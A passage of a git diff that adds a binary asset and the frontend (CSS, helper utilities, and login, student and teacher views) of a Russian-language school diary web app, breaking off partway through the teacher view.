z1vWp%4#j$1IJh`4`+^oxc^s;?eXyVicXx_jH~nI_ia!}bK|wWft%0x30NGc( zN<;e`cdcoo&z#_&MuTC36=x`OicpG1a%F(-c9>nTp*CYs zWlWmBYgikmpHqwzRwh-Z?_C*KJ@>Osf*{oo)LX|udm1f~JdGrjSZ z(%of;m%I;?uW@5TJ~xiS-^QH2rn>794p(Jj2&d~SOS9KGYeQmWscAZMfv!IC%JU7L z{b9;yll{)kwXNcb;ofQ6y_D7_xr34`8uyHBoa*L?xnxap<0xaCLA|a%L{3usX6!hmbhOLD+tHz&bBHV>U~V3vZp`wmW-0$_C$OpPZ`(99IDqNOi^> zU*03~o0&IO{O4+XL%dxl<#AjSrNuxet~RzgVqP70j8k*q#7(zw)6dHFkhUb!I>^;k z)Yd9Vy-CI^C&_o41#eXM6)BKs-Vmf5lNvlIn=ypo@XC;LxbusN7sEHp(b0_rg$`yy zOGmf7tWmxlV4zqj;uQ1|^Gedk}B~|7dGR9i{%{f;nyAXFS0EjEdxkz$2 z3x@}JqE2?s3{(K(sS5ju$;K3H9~lF_4&1$^Ki(w;t#;lpAmI68XcR9Yaj_H6Cb8V_ zqaB2ovhjiKzO}64ly7+{*}gEBg&rKO;2YN&PcVHlrAALTj`U}Ey?K^sQanBWa#9Vu zPBKS*wA=$cD)MKB=NiP?y!>K~njSyqASpNQ@|MW^m$7eV6!9jqhUt39b{y%$b_?># zjURVd5RHCWYozsi!d)M$yks^HS0Gkjj&V}NSKPGl!j3_S9{{V8=!sreB;EPx2!f~jdtc&1snz^w?8>S^muJA?zo_xfG zsGR39wolG&5*=}fkQ{(@lUk<_a<-j|#&-6*G1%$c_Yrj7O&A*Ih-(!T4z)77Djj4C zK8(QY`RRg$u{t4)pIkE@Cd8A>igs6cqy!u}ch+-qb#5D7wYBRS7SFErjPxfSV2Jgq z;jrG1a7EVq#03q9Hx%gpu_brYT|VJ9UUa?Tx?vMSv^0n#0 z$;p89eD?w!9bD(+`LE6Z5#auES5@HU!+O805p}mmm@Vv0ePd1VU3-iXzmpZp^|KoS z*W8feapv#>H2OIK82ZS88G5{7rxSMjfiwd3o1q}@BuO6&j8YekWWGn-NxwQV=ACX# z+hg&8Ku@elyW7AT!3Z>+U_=v+{{YNnB}=2MVL0DLK6W3I5{aSQoZ@I6d+!gS?`(F1 zW&Z%z8vG7}18rG|pu2Y5O7(CYgl2Am^l^ZT{{VQP)}3S=H`WA%cJlFvEdApfe-ALCu+^jb!)>U4SP&OOUR*`85w{)V zB--T=fo;6vN=d^0@X$2X?>p5E@61kLTx75CV$GwOfoTD8iZxsM#73V>h~0*~;|^LD zG5-K~p+uht05~9P9f5Xgd6l7}0MxO z8lGe}{pMyb#_#aOYM(S;)?%bHPWb&62b9WL>7p4~VVxA0-G zF1W*!hc94zykb{!J=~;ync7Xf%)M+l0DLRFYS|v}Ql31R=wc2VvjPUE-mV%^(eaG3 z%akLs_lE&B?nP{Dn!}si{NP{sWzeb~G3B$Ch~y-bTxCP!?aoClF@&}l#y&I-SvjTI z#u0o}=Y|R9_W5LhN!Vh7iKFK44rslPnGRL?dHmocHFd0xfom%FjGRz#=FWxwOs=;z ztTst~cY~t}cjilR9^zjzaGaPRc*`4g?g*tdo23C=-g5eix1DFX9>3Bz3gl4N!|qBa23!`nlD0R2tUlWB z5Z1@y=a3w%)&-j$iHUZm{(Hi^HO<{8-VXse-fR9?rFK``1C@Q|i(v3z(B6Yvz#gOB zb&fhiSnL#?VF53M$4YSh;il7$3|T@QN8H=T&NkDL%aRs>B*j&M_-+WUlljE;ldF_D zR|yI_P?*QD~=i?q1^m&fZ zoPIF1MC%?GW1I-$}b#(AVc8ih=(C zw~Z`E_QKl_TsZLg)>w3}ctnsU;$@|NTgDA-(D#KB9@TDjo<4FXK|R99OYR6?T@Fon zf9DR6J-D?BPLm9HFIn4x)XK#(W!ZIv4Tpi|MpFD41qXL~$yNpSl=si8afqI@|S4et}QAGB;z}=^V z;~o{$p7V7#I?qcF-ZW#+d2})8ZVP>N^O}|s-^Ni5hPyY4)kWH3foxse*%?-;5h&azRL)@mus2zc@4 zVYAV6+@^x3dKprxJNm$e;Ijb`QuB*$%k>-`mE*p%h&u3ci@tS;rn~0#gfC`Ry4S{9 zS;4HUhtY7bEbXpPa2TD1Pk6-YqV`}bvs~k(cKeZ3dGN|AHM3YlhInL9r7<%8H<~=3 zi+~)*?&4O1`|AK}eU0Z5ApS8yTd$lnL5}bN@$r@fod#qm9^;|0P2)#{pPUuHqXbbG z2gmJ-Y+pVwP`)_17PPprI(4q_V9L0MNO)z5x8p1z68qKv#d}HuQPz!)Jv@3U)h^4T(i`R^@iPW?E1xw*gj%t z>)h9Bc;?rTj4U30b5IS-UF%=0I7DmQjsE}{f9AYrWN)nLJAQBiIQ20miL8wQpUxp# z#$l>9A3WvrH{J*hFWw-#Io>XtIo<^G-kf@_{%}E1iz zk%LWv)+}SJ0M+!Eg5J%0j1m5@k>a28knG{>5bWX6cZgb#TgBn%)=_lBoGS=f^MQ!- zg-cm^$}SDc;b^<^7_B?=EVS9%ijbSuEh65&Fp7r;y~QDQ{APy)xSUF!OsH!|Hz@;8 zm@y`pS+y)OIB75e z5nj%23iCGWj00TWoWJm58q@FA4z%sp7=lK}jJgL&<|sXJ?Z?IE=LSF*e3-TQdBjds z?7&X>;PX5g`^SXuTER^;yH0YQYICevrDs9THk^x0rvwgMM@eb+;oK_XG!}`cY;cgt_I}3zL zzf2)fu4Zx;9~W4{QAR?duIsbJpBU|H>k*)< z`^Um6>uytfonf}ToIYZjyZL&?d=8$l4AV}8%IjazhP|3O;~-bETW$!}-8I98i9Rqc zuDDMzRHA+`E#DXoc^zHmhVM#a62*IQR3wgk!(efXOTM&VUbr4T#k3AOpYBCoUyLVi z*G?__G8|)w(2mCvlEYnR6m(+o$@IrW3C-sOFxP*6=Ma;7xK+~*+s;_+fxY}U)<8Pc z!~-LE+}0(m(aVJ;)9=PZQ;+KnP?5kI(8GAO3gjUo^E!aArXm%=yx1bRwP5h?0h70x z)@eoDX^jS!VaRH}z#Z8gYZsHLImi{lcZp6R=Qj-` zfzgiE!^aypb>V;$&F>iQ&N#?{ioJP-hYtY9>MhI)MP2LXC{eBx9dlA_w>aBHy!DiL z+KKK|ZV5eeil3~Llhwyg2{m<-XF>Z6h^Q8BcZTNs{NSQaeCk}5*u{Sf3 zmhUtYq1JAyYph`1yv+!GePxt5yisZQ5+0+V>j-T4)@gEdjxk{S#Rv?0n6Jsje8h(j zLFO(MIrkrD1H1}%7aF>OlI-iw@f+mfR}-Jg=x#>Q_47?S4NB+Ew}~JA9%3$)&S)R#}^PLaK!A>$JP=Q z#uxg+IyhDVIInmh7M5aC#{1rFV%4hwPW#CRZ&N92iIK_BmJQ%q;F4L5oOP z!<((md5wXu?%_db?CS_MVK2DHQ2IHc-{8e)A?U`oDbt8L8sg(fIve}PYSTFbZh8kz z#X?H^gb?OP^@uL`;lNN0^*`JhOJ0MVU}>zHNGG|Y)#iO*G(vpiM(EC@9(RNfN@>em z=c$?>_{Bq8dcr3M{{V3c&3lbGUfwVgyCE5r0iK-M$oAY#ysnEfa%{ZiG+cb+qf7EL zxxgHms2&Ti#&ATlXIZq~d&ZMMe;L86`OC36cZ!c6LjtDXS9qQW#RBHcb*R0=$`#xCV^GK^E`wq;Hz zxa_R$!&0N==H|?l@aq&(o#Z<2*Ev^bRL05v=JthMbF5R9@q(g){{T4&b-h1XMCH9q z4--xml?eT&t+6L!%x*s~gch@+mArX1R8XH}=;}ff^r1KI8 z{jh4z9^x+l07fF#uVuyD8-8rWGv{BNmXeO~bm$Cg*l$OfdnTM)yY`qxD`#1@ymfiS zl1>6+R?&Mfktz3^i(Ursu&wo+mc8sgBioGhbISz>l1_N@r6)lD0PWCk6eHoA2O<>P4kMj(c7zXt%zfyiuuK8 zn(xfmLQb5W5lpRH`DKLIo!|}4-G}>+qbH_l9W|?o9iM}o=5ikU!YQcvln8G_<{@oA zSRGKl;Q*%^&PegrDgOXwF;l)wHt9jjlqogb#EE~5XJ!5|iiCV@&j^Q@@=YgLG~OSa zD@yTlH1FfgjbZ}|d54*#1bq!+x()X<+V2}zlj{+qSGh79L=GGmeq2y*b^6Xg*m~nM zRY!?|V4-y9wR&JArtwN%J69;Q-R;Kd;xd2Ea!27@Y*aeH2>|u$4cdzG-f)7t49Qe6 zX)vOvUGm^X6f~wf)jM;}Enc6j6j`T}l3|5uE;hCNcbcqUw8kdu#vs?`EYfFw=8!zS zU?PzJ05GLV_2yk&{$6m?-FN>07}uUS*LYno2{(@>elte+eCEKh`o@n-x16*(dpO<# zfFpTbhZn43r-x~f5TNT4EUjuB;Oo=kXFI?ixx$pc7z!Fgi<0N~U>aS{TvJ_i`pOby+^8h{V;zsvcmvI^B+E4W$<`ZdXQr`xf_GY!Kf{<0Waz zhOy`6?^)PQwiyA`onTQ%)2tV3uNWD_T}%^$eN0Qb1MYT6Ga&$%IaEQw(XI5%Y8pFC ziO|k4#j}mqhOmQm@Wg^n^u1t$bosobV!+~I3M}Gcs00nnXM}y?*f--fiL%G1%w;rv z;Mr&UiQr#OSa=8D_dA9E0OvS`jiF(Ji%{zt(h>ggcGdH7hbQyAO1z!-l{szbaYMZv zM=O)Rj8Re~!Kx~g>n6M73TRAP6rLqDiIHGkGZEWK?y?o+n}_Qh?7d=v$a6o>oDc!m z^y9knYXG68*!z;`R_<|}y8Qs zi1&maC*!;wqdj|gGU>v7Wc`Jt;76h0v{WB%@b(2vEf=v&L~;Gj1}}-l|z-=-T+SraKwxF6BUSk zn}M<8*BUf0{^u#M)6DR#PcbI;zj(SQKh{_mw?1W5z*r#-5LO90!eYygSmk%UF1EflH^w#3FywDJS=ekUtH@ zRV<0T*n^|U^PGY!&pczMNj@$yxPG%mmrpqfdHI+S>#?g_ef3)=)$a46I$d7Zn|ez-KW(3hmAlO}g;O4x_|y62P-t znb9`k9x^CaxF&1}&45&Q-Y&1xtSVl($x=Y>@ql$vHqG2q%O6J(1nL;k$-4M3h$@dA z7aG%py*kE}b*`|e4=24Nkg;whuE#V7@WeTe_D*mU(|BvPxKjZ#IF@spzBzQV+4- za!18*S4LyhwE4lNaLl8t@5zjz3(1-YbKWp;h7E7GzVHfey11&*CwU4EBI(W|fxm|s zA=RDaOL9nH)m`pjp!7ri&7=`J%>n&uB3)i}?n&BC++*bUFj1`4DE8&rQ1t@y`@q@B(&t6{vnV5nZYd-}z8KCT;g`qn`Y!`zYx{{XmCx^*yuJ3e)s zp>=t~WH;P#+);OPXE5_9HmA7|YuHCV4fHs`1)qVHu}R)Gi^i$BkWOzOoS^5IE|uT% z!T}nZFwqoesMr)b$RbCEi~SDfwwB;Zy%~%Pv%rT%lb*x}VjwThM&+8u#2BX#^mBH{6!>k%%AMjuj zqVi90sIS>FmbH7v6Pc|zh(~VoN?WbGYY)+iKqYs)K@_O`m@JgN^@+&>R^zqc!Wr4+ zy2b-GGQGkDX#0UkK1&Ne4a0lj;5Me+jtctqa46e-;8EYft>7l%MRNXf8wJ-G15Nq7 zHIAnxz&mCHRwd^f9(TjuRE3S%kO7O&)+)}XjF(QFW`f^|kU>e=fD6@p&bBXG))I{} zLmRYXDTqwjzfN;Br+D)eXXg#k5^0;oRT1tuYZAX4WaQA#ddMQzt>9Jso-zb>dNFBr zcYy5%LUs-r!;ainxq_|0HRoi&g8u+pF+3bOCpc-(9AzemyTI??tfXKLr@Rryb-3fDf3w0jr3$ADl5jSc!_fy3>gcOMn85PQ1@u zDbKexY}xZN!J|of%Q$n$IRmUyn4Si4n@e?YLJqm3g!UgeA)~xOyerlm9Q<4xU)D(R z#~frOFzt#23(LG$doQ^VHa@w{>!kB2Xs>-@Nxd9z4oSD4F>Z2|PBUa`o_mN+`QOeA zPa4fG*t`xKRO_)a27@6@cdxA6gJ$EDKMTA8bT^dQjV0H_-V2lXFaT2hVO@ugd~gQ` z*l`Z~edij8uyLS%KRBr^gPDtR(C%Up=4FwEc$l5>AKp+CfVd7gFUC}Y?}3RRR%(W` zMx6Y0@Zz8&!-6Q=IKrDv@cD`&yk^t}Z;6)2DZ%a>@;aF8ihW|a*3y605WIYMinfU8 zaVZVCZt-Vl;{+`oVYZ9>XCXD;<0l8}EN0I{!8t~9xG_$f#<{X#u>l`AM;lF9j13@s zDhRgBsf(D$0?>HBK21?RRLv!a2#5G(1(X`ptAd~>@z^7dKmOD-d0MP0)A1fnw z-ZsEn*LM*+DYF@ouZfm=^{mlYotb2!zpP<0k3oY0b$YoWe>LM2L{cG@xKHZ}RR_s} zgu(dl7b_R%3Xmwo0EBW}Q!Vj%#G?rFdd*sF9k8X^a(u*{)4Fqz6smXDOHr|KF9@B? ztqu-6!0J`E@qi2zesLA!Q;u*KbUot%%20OT(!zXX5fFKX(IKt}CEo{koZEokxDKHI z0E|EsDV0$Yx%|E31H|VNfY*O{tvXP_5^Z~Ok+BYD@CjpFX2S9A9Nljni=gv2Am0-U zXo#l$#j>=Tj~JS-!&wQ@os7CU`)7mCcnL&!XLzB=d`|HvDOhQ2k=7O}zgYUdyueke z!f!P~McCdl&gc7qL=fTe!6UH^?>HovPk02NoA->U*?#-Of@>90!O&*;e_O%kyLw^S z>+{FX3O?qzTtydmVctd?hc~?70p9q-f~j$K9e+$fiP^ zal4mlwsD9%8gdyl!HkGm@GxoLKN$jsy?9&$ZGVny-8XP=Plvov??$J1{hMS~Grl;; z(CPOS)Kci)dhGe*0u@(=XvP?pbH)LRXe7DLf_OWa$+U+K8YsRarxL1iB{5_T`r{ND zZM$Pn@$M;P`E}MnK7WkVM^5%v;}=ia!LV`5l{V9~PjD!^KH)^#Pn<0d&NyQ^??w>- zK=qjQ25@H9gY%wjK^u~~-(MIG0erwxUASw?$$5~#)5aU< zbk9W_yeOPc)^SKHtAuAM+mQYL02!g#CNOTUSBwaghul7{y}>sD_<6+OD~_E5UK}c^ zAI!vmT{tH$+2-y9;sTEGuA9MtC7pGO!pVXcMESr8aO;of7aq$d5nf%4q}rcYXk)tPa0kJFfSA(msl~{t+wGFqUR>k? zs&3+Rwqn!@A;rIq$9}^JUee~2!lOrl?j=fY#M6$zdF6l14KrSt6j9mK z#YcPZ6-&DB2teMngv5e`j9dwzmzS)hTRDB@s=o&!+K2wz@tBcS3$sMOSo?!CesYuRo)vv6I+83?^1m!p#j_g(9Zp;Sk&jD#KxT&h!V z&lohsTWsS9LD=_muld zH2L*{Elzd33nPzt&7)B5)1BN--ke0rzX2Bp==nKnA3Qk$Y&)I)a6_X*E(ps=-QpsY zVP|WJIz!RLPUP!(AILe%C3ZgR52N*oU6A8>1VFgJuAfX*JSPU+Y18ZH7^i++xN}~3 zzUJU^{g{iUx}5ou%Zujz^O7sZ84z()uMO)q@Sxh@=zo71!VQl;;-qe&@%hdmFMeb} zlUBIWbEchOmF{YJlw4}dbCPtya62{fb(^cUYIfoy7hf4THwc)xKwTr72YdR#cqxGT z4m-ruh_4vN!u)ZKq=s{AeeXsy9UnLXB)nW;FCMru1Yf2mzmp(sMR+sV*~@}cRQ%_m zmz%tXYp$`NL_IPVD7%cK4I1O)B=rxxl>=Ne6G^yo{{Y5pX}xPAUijWH5<24%yEmOM zdL!?wcJSLA38P+_sdjy_QXBgi2ZV4dcd4BZ*_>9-9Ab=XwMPpU(}{u#%i)S54D{zV zgMK|^SO_>Xbrs=f8L+Ae+H->9QOwH?biDJ2J65?YPsTxcCK3Mt#lafwtSCCG?h5Vb zfyN6>hi&CWcNrW*X2Y{Cl7HR{mmKFJLHy?g=PJZrpFEa!);LNNH(xi!|l94>%KhMk-3 z=MsyTU1FSd@ENor{@KoQzW1EU9ktWGF`yO3%-s&3Fa)9}6FAgK!Fe%3o_B~6>ilIW z5jz}!>zA*Y?O0T6nF_$1iyU4sg*Nj7rM~TQhHM#5JY!H0>4O&75z% zSb2GeUpkq1Ja0x)j*mRS6{LP}fbhzUOa0@scI`}dG4HHF($~bqY14+6a7tpZCw%8Y zNZSEhKKL;J{;n}J->(^=7I`w1v~NyRS1)EtEp*Our=_TvoRA%M#?zvGU`u4(z(VP6 z+}0v|u59i87$QFO;HBkY;t5N$oUmfE-ZG&Y^7(*D&~~}53A?UwRMFQ?L%_V4j#>?1 z13}Q@9;v4+OZ4X8s*S5LNRx@K@juf9oO9{MH{dR^6-bR-U9o2${KG_0-S;l;NbTb! zK_Q23v+n^lblmG9PDSOJ70BT|#t19^ zX2zTKfEAwW8q;TPA^=By?adK??*$Nb*Tw-hdyNSY^}$phmDUPU2b@KbDZ#|e0XF_| zX!*h(A+0#VwVys`Be!$!oB`j}xC4OSHxLv=_XkB3?BiIj+aKA2j=s!L2(x*|Ri6jw z;EYHn{K`R~aN#ZZW`Wr=f-d(lCc&Ic zur2sG!jq!>VZr6&5H9u1#ZM2IIwZZAjrGnGcgu4^<@s}!PvO+TVN^NqDFI2=1C1Xp zRyWRYFE2@nBNI4{5^&+dYI~NU7(2&a&yoJ(!+|-u7~qwB$V0Q!c%i>vc{N%Fw~J7} ztf*9D<_PWC%bJ!7d4g6)^@IvRCp_Uq2DvaP3Gm8v7rQY4Bsk-|gMm3*Jpi3yA{*V} z;I2V8t}%tRuD)0rZadBC8O51B1LM30&fd!9v3A@OYqK^=g*h^Wik)2l+5Koc?EnA( literal 0 HcmV?d00001 diff --git a/frontend/styles.css b/frontend/styles.css new file mode 100644 index 0000000..648187b --- /dev/null +++ b/frontend/styles.css @@ -0,0 +1,236 @@ +:root { + --bg: #f6f1df; + --accent: #d6b87a; + --accent-strong: #c39a3a; + --text: #3a3a3a; + --muted: #8a8a8a; + --panel: #fffaf0; + --border: #e0d7c4; + --ok: #3aa76d; + --warn: #c97c2a; + --danger: #c43e3e; +} +* { + box-sizing: border-box; +} +html, +body { + height: 100%; +} +body { + margin: 0; + font-family: system-ui, -apple-system, Segoe UI, Roboto, Ubuntu, Cantarell, + "Noto Sans", sans-serif; + background: var(--bg); + color: var(--text); +} +.topbar { + display: flex; + align-items: center; + justify-content: space-between; + padding: 8px 16px; + background: var(--accent); + color: #fff; + border-bottom: 2px solid var(--accent-strong); +} +.topbar .brand { + display: flex; + align-items: center; + gap: 10px; + font-weight: 600; +} +.topbar .logo { + filter: grayscale(20%); +} +.topbar .top-actions { + display: flex; + align-items: center; + gap: 16px; +} +.topbar .linklike { + background: none; + border: none; + color: #fff; + cursor: pointer; + text-decoration: underline; +} + +.layout { + display: grid; + grid-template-columns: 240px 1fr; + min-height: calc(100vh - 44px); +} +.sidebar { + background: var(--panel); + border-right: 1px solid var(--border); + padding: 10px 0; +} +.sidebar .menu-title { + padding: 10px 16px; + color: var(--muted); + text-transform: uppercase; + font-size: 12px; +} +.sidebar ul { + list-style: none; + margin: 0; + padding: 0; +} +.sidebar li { + border-top: 1px solid var(--border); +} +.sidebar li.sep { + height: 10px; + border: none; +} +.sidebar a { + display: block; + padding: 12px 16px; + color: var(--text); + text-decoration: none; +} +.sidebar a:hover { + background: #fff; +} + +.content { + padding: 16px; +} +.card { + background: #fff; + border: 1px solid var(--border); + border-radius: 6px; + box-shadow: 0 1px 0 rgba(0, 0, 0, 0.03); +} +.card .card-header { + padding: 12px 16px; + border-bottom: 1px solid var(--border); + background: #fffdf7; + font-weight: 600; +} +.card .card-body { + padding: 16px; +} + +.form-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); + gap: 12px; +} +.input { + display: flex; + flex-direction: column; + gap: 6px; +} +.input label { + color: var(--muted); + font-size: 12px; +} +.input input, +.input select, +.input textarea { + padding: 10px; + border: 1px solid var(--border); + border-radius: 6px; + background: #fff; +} +.actions { + display: flex; + gap: 8px; + margin-top: 12px; +} +.btn { + background: var(--accent-strong); + color: #fff; + border: none; + border-radius: 6px; + padding: 10px 14px; + cursor: pointer; +} +.btn.secondary { + background: #8b8b8b; +} +.btn.danger { + background: var(--danger); +} + +.table { + width: 100%; + border-collapse: collapse; +} +.table th, +.table td { + padding: 10px; + border-bottom: 1px solid var(--border); + text-align: left; +} +.table th { + background: #fffdf7; + color: var(--muted); + font-weight: 600; + font-size: 13px; +} +.badge { + display: inline-block; + padding: 2px 6px; + border-radius: 10px; + font-size: 12px; + background: #eee; +} +.badge.ok { + background: #e6f6ed; + color: var(--ok); +} +.badge.warn { + background: #fff1e3; + color: var(--warn); +} + +.notice { + padding: 10px 14px; + border: 1px solid var(--border); + border-radius: 6px; + background: #fffbe6; +} +.error { + padding: 10px 14px; + border: 1px solid var(--danger); + border-radius: 6px; + background: #fff0f0; + color: var(--danger); +} + +.tabs { + display: flex; + gap: 8px; + border-bottom: 1px solid var(--border); + margin-bottom: 12px; +} +.tabs a { + padding: 8px 12px; + text-decoration: none; + color: var(--text); + border: 1px solid transparent; + border-radius: 6px 6px 0 0; +} +.tabs a.active { + background: #fff; + border-color: var(--border); + border-bottom-color: #fff; +} + +.small { + font-size: 12px; + color: var(--muted); +} +.grid-two { + display: grid; + grid-template-columns: 360px 1fr; + gap: 16px; +} +.hidden { + display: none !important; +} +.center { + text-align: center; +} diff --git a/frontend/utils.js b/frontend/utils.js new file mode 100644 index 0000000..8c62c24 --- /dev/null +++ b/frontend/utils.js @@ -0,0 +1,112 @@ +export const $ = (sel, root = document) => root.querySelector(sel); +export const $$ = (sel, root = document) => + Array.from(root.querySelectorAll(sel)); + +export function el(tag, attrs = {}, children = []) { + const node = document.createElement(tag); + Object.entries(attrs).forEach(([k, v]) => { + if (k === "class") node.className = v; + else if (k.startsWith("on") && typeof v === "function") + node.addEventListener(k.slice(2), v); + else if (v !== undefined && v !== null) node.setAttribute(k, v); + }); + for (const ch of Array.isArray(children) ? children : [children]) { + if (typeof ch === "string") node.appendChild(document.createTextNode(ch)); + else if (ch) node.appendChild(ch); + } + return node; +} + +export function formToJSON(form) { + const data = {}; + const coerceNumberIfNeeded = (key, value) => { + const field = form.elements.namedItem(key); + let isNumber = false; + let integerOnly = false; + + const inspect = (el) => { + if (!el) return; + if (el.getAttribute && el.getAttribute("data-type") === "number") { + isNumber = true; + } + if (el.getAttribute && el.getAttribute("data-integer") === "true") { + isNumber = true; + integerOnly = true; + } + if (el.tagName === "INPUT") { + const type = (el.type || "").toLowerCase(); + if (type === "number") { + isNumber = true; + const step = el.step; + if ( + step && + (step === "1" || (!step.includes(".") && step !== "any")) + ) { + integerOnly = true; + } + } + } + }; + + if ( + field && + typeof RadioNodeList !== "undefined" && + field instanceof RadioNodeList + ) { + inspect(field[0]); + } else { + inspect(field); + } + + if (isNumber) { + if (value === "" || value === null) return null; + const n = Number(value); + if (Number.isNaN(n)) return null; + return integerOnly ? Math.trunc(n) : n; + } + return value; + }; + + new FormData(form).forEach((v, k) => { + const val = coerceNumberIfNeeded(k, v); + if (data[k] !== undefined) { + if (!Array.isArray(data[k])) data[k] = [data[k]]; + data[k].push(val); + } else data[k] = val; + }); + return data; +} + +export function saveSession(session) { + localStorage.setItem("srab.session", JSON.stringify(session)); +} +export function loadSession() { + try { + return JSON.parse(localStorage.getItem("srab.session")) || null; + } catch { + return null; + } +} +export function clearSession() { + localStorage.removeItem("srab.session"); +} + +export function setTopUser(text) { + $("#top-user").textContent = text || ""; +} +export function setLogoutVisible(vis) { + $("#btn-logout").hidden = !vis; +} + +export function setAvg(text) { + const n = $("#top-avg"); + n.textContent = text || ""; + n.className = "avg badge ok"; +} + +export function fmtDateInput(d = new Date()) { + const yyyy = d.getFullYear(); + const mm = String(d.getMonth() + 1).padStart(2, "0"); + const dd = String(d.getDate()).padStart(2, "0"); + return `${yyyy}-${mm}-${dd}`; +} diff --git a/frontend/views/auth.js b/frontend/views/auth.js new file mode 100644 index 0000000..242f400 --- /dev/null +++ b/frontend/views/auth.js @@ -0,0 +1,86 @@ +import { route } from "../router.js"; +import { Api } from "../kek.js"; +import { + saveSession, + setTopUser, + setLogoutVisible, + formToJSON, +} from "../utils.js"; + +function loginView() { + const card = document.createElement("div"); + card.className = "card"; + card.innerHTML = ` +

Вход
+
`; + const form = card.querySelector("#login-form"); + form.addEventListener("submit", async (e) => { + e.preventDefault(); + const { username, password } = Object.fromEntries(new FormData(form)); + try { + const { session } = await Api.login({ username, password }); + saveSession(session); + setTopUser(username); + setLogoutVisible(true); + location.hash = "#/dashboard"; + } catch (err) { + const box = card.querySelector("#login-error"); + box.classList.remove("hidden"); + box.textContent = err.message || "Не удалось войти"; + } + }); + return card; +} + +function registerView() { + const card = document.createElement("div"); + card.className = "card"; + card.innerHTML = ` +
Регистрация учителя
+
+
+
+
+
+
+
+
+
+ + +
+
`; + card.querySelector("#reg-form").addEventListener("submit", async (e) => { + e.preventDefault(); + const payload = formToJSON(e.target); + try { + await Api.registerTeacher(payload); + const msg = card.querySelector("#reg-msg"); + msg.classList.remove("hidden"); + msg.textContent = "Учитель создан. Теперь можно войти."; + card.querySelector("#reg-err").classList.add("hidden"); + } catch (err) { + const errBox = card.querySelector("#reg-err"); + errBox.classList.remove("hidden"); + errBox.textContent = err.message || "Ошибка регистрации"; + } + }); + return card; +} + +route("/auth/login", async ({ view }) => { + view.appendChild(loginView()); +}); +route("/auth/register", async ({ view }) => { + view.appendChild(registerView()); +}); diff --git a/frontend/views/student.js b/frontend/views/student.js new file mode 100644 index 0000000..66aac3a --- /dev/null +++ b/frontend/views/student.js @@ -0,0 +1,98 @@ +import { route } from "../router.js"; +import { Api } from "../kek.js"; +import { el, $, loadSession } from "../utils.js"; + +function needSession() { + const s = loadSession(); + if (!s) location.hash = "#/auth/login"; + return s; +} + +function studentDashboard(session) { + const card = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Дневник ученика"), + el("div", { class: "card-body" }, [ + (() => { + const box = el("div", { class: "form-grid" }); + box.innerHTML = ` +
+
+
`; + return box; + })(), + el("table", { class: "table", id: "st-lessons" }, [ + el( + "thead", + {}, + el("tr", {}, [ + el("th", {}, "Дата"), + el("th", {}, "Предмет/тема"), + el("th", {}, "Домашнее задание"), + ]) + ), + el("tbody"), + ]), + ]), + ]); + + async function refresh() { + const classId = Number($("#st-class-id", card)?.value || 0); + const date = $("#st-date", card)?.value || undefined; + if (!classId) return; + const { data } = await Api.listLessons(session, classId, date); + const tbody = card.querySelector("tbody"); + tbody.innerHTML = ""; + for (const l of data?.["уроки"] || []) { + const tr = el("tr"); + tr.appendChild(el("td", {}, l["дата"] || "")); + tr.appendChild(el("td", {}, l["название"] || "")); + tr.appendChild(el("td", {}, l["домашнее задание"] || "")); + tbody.appendChild(tr); + } + } + + card.querySelector("#st-load")?.addEventListener("click", refresh); + return card; +} + +function changePasswordView(session) { + const card = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Смена пароля"), + el("div", { class: "card-body" }, [ + (() => { + const form = el("form", { class: "form-grid" }); + form.innerHTML = ` +
+
+ + `; + form.addEventListener("submit", async (e) => { + e.preventDefault(); + const newPassword = new FormData(form).get("password"); + try { + await Api.changePassword(session, newPassword); + const msg = form.querySelector("#pw-msg"); + msg.classList.remove("hidden"); + msg.textContent = "Пароль изменён"; + form.querySelector("#pw-err").classList.add("hidden"); + } catch (err) { + const box = form.querySelector("#pw-err"); + box.classList.remove("hidden"); + box.textContent = err.message || "Не удалось изменить пароль"; + } + }); + return form; + })(), + ]), + ]); + return card; +} + +route("/student/dashboard", async ({ view }) => { + const s = needSession(); + view.appendChild(studentDashboard(s)); +}); +route("/student/password", async ({ view }) => { + const s = needSession(); + view.appendChild(changePasswordView(s)); +}); diff --git a/frontend/views/teacher.js b/frontend/views/teacher.js new file mode 100644 index 0000000..2c25617 --- /dev/null +++ b/frontend/views/teacher.js @@ -0,0 +1,406 @@ +import { route } from "../router.js"; +import { Api } from "../kek.js"; +import { el, formToJSON, $, fmtDateInput, loadSession } from "../utils.js"; + +function needSession() { + const s = loadSession(); + if (!s) location.hash = "#/auth/login"; + return s; +} + +function sectionTabs(active) { + const tabs = document.createElement("div"); + tabs.className = "tabs"; + const items = [ + ["#/dashboard", "Сводная"], + ["#/teacher/classes", "Классы"], + ["#/teacher/students", "Ученики"], + ["#/teacher/lessons", "Уроки"], + ]; + for (const [href, title] of items) { + const a = document.createElement("a"); + a.href = href; + a.textContent = title; + if (href.endsWith(active)) a.classList.add("active"); + tabs.appendChild(a); + } + return tabs; +} + +function classesView(session) { + const wrap = el("div", { class: "grid-two" }); + + const formCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Создать класс"), + el("div", { class: "card-body" }, [ + (() => { + const form = el("form", { class: "form-grid" }); + form.innerHTML = ` +
+
+
+
Ограничение: однобуквенное обозначение параллели.
+ `; + form.addEventListener("submit", async (e) => { + e.preventDefault(); + const payload = formToJSON(form); + try { + await Api.createClass(session, payload); + await refresh(); + form.reset(); + } catch (err) { + const box = form.querySelector("#cls-err"); + box.classList.remove("hidden"); + box.textContent = err.message || "Ошибка создания класса"; + } + }); + return form; + })(), + ]), + ]); + + const listCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Ваши классы"), + el("div", { class: "card-body" }, [ + (() => { + const box = el("div", { + class: "form-grid", + style: "margin-bottom:8px", + }); + box.innerHTML = ` +
+
Выберите класс в таблице и используйте кнопки «Добавить ученика»/«Убрать ученика»
